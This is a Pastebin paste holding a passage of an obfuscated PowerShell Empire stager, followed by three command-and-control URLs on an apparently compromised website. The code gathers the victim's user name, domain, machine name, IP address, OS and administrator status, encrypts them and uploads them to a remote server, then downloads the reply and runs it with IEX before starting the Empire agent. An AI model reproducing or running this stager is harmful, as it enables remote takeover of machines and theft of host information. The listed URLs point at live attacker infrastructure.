SySTem.SEcurITy.CRYPtOGrapHy.AESCRyPtoSErViCEPROVIder;}cATCH {$AES=NeW-ObJECt SysTEm.SEcurITY.CryPtOgRaPHY.RIJNDaeLMAnAGED;}$IV = [bYTE] 0..255 | Get-RANdOm -CoUnT 16;$AES.Mode="CBC";$AES.KeY=$E.GETBYtes($KEy);$AES.IV = $IV;$I=$noncE+'|'+$s+'|'+[ENvirONMent]::UsErDomaINNAME+'|'+[EnviRoNMENt]::USERNaMe+'|'+[EnVIroNMent]::MacHiNENAme;$P=(GwMI WiN32_NEtwoRKADaPterCOnFIGuRaTiOn|WheRe{$_.IPAddRESs}|SeLEcT -EXpANd IPAddresS);$Ip = @{$TRUe=$P[0];$FAlSE=$P}[$p.LENgth -LT 6];if(!$iP -oR $Ip.trIM() -eq '') {$iP='0.0.0.0'};$i+="|$ip";$i+='|'+(GET-WMiObJECT WIN32_OperatInGSysTEM).NamE.SPLIt('|')[0];if(([Environment]::UserName).ToLower() -eq "system"){$i+="|True"}else {$i += '|' +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")}$N=[SysTem.DIaGNOsTiCS.PROcess]::GeTCURreNtPrOCEss();$i+='|'+$N.PRoCESsNaMe+'|'+$n.ID;$i += "|powershell|" + $PSVersionTable.PSVersion.Major;$ib2=$E.GeTBytEs($I);$eb2=$IV+$AES.CReAtEEncrYpTOr().TRAnSForMFiNalBlOCK($iB2,0,$ib2.LENGTh);$HMAC.KEY = $E.GEtBYTeS($key);$eb2 = $eB2+$hmac.CoMPuteHaSH($eB2)[0..9];$IV2=[BiTCOnvERTEr]::GETByTes($(GET-RaNDoM));$dATa2 = $e.GEtbytes($ID) + @(0X01,0X03,0x00,0X00) + [BITCONVErtER]::GEtBYTEs($eB2.LENgth);$RC4p2 = ConVErtTo-RC4BYTeStreAM -RCK $($IV2+$SKB) -In $DAtA2;$Rc4p2 = $IV2 + $rC4p2 + $eb2;if ($customHeaders -ne "") {$HeAderS = $cUsTOmHeaDErS -SPLIT ',';$HEAdERS | ForEAcH-OBJEcT {$HEADErKey = $_.SplIT(':')[0];$HeaDerVaLUe = $_.splIt(':')[1];if ($headerKey -eq "host"){try{$ig=$WC.DowNLOADData($S)}catCh{}};$wC.HeaDeRs.ADD($HEaDErKEY, $headeRVAlUe);}}$wc.Headers.Add("User-Agent",$UA);$raw=$wc.UploadData($s+"/components/com_tags/views/news.php","POST",$rc4p2);IEX $( $E.GeTStrINg($(DEcrypT-BYTes -KEy $KEY -IN $RAw)) );$AES=$NULl;$s2=$nUll;$wc=$nUll;$eB2=$nulL;$RaW=$NUll;$IV=$NUll;$wc=$NulL;$I=$nULL;$iB2=$nUll;[GC]::CoLlEcT();Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;}Start-Negotiate -s "$ser" -SK '09adcc4403832a5c22cfb6621c2942da' -UA $u;
  14.  
  15. www.thlsystems.forfirst.cz/components/com_tags/views/news.php
  16. www.thlsystems.forfirst.cz/components/com_tags/views/login/process.php
  17. www.thlsystems.forfirst.cz/components/com_tags/views/admin/get.php
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!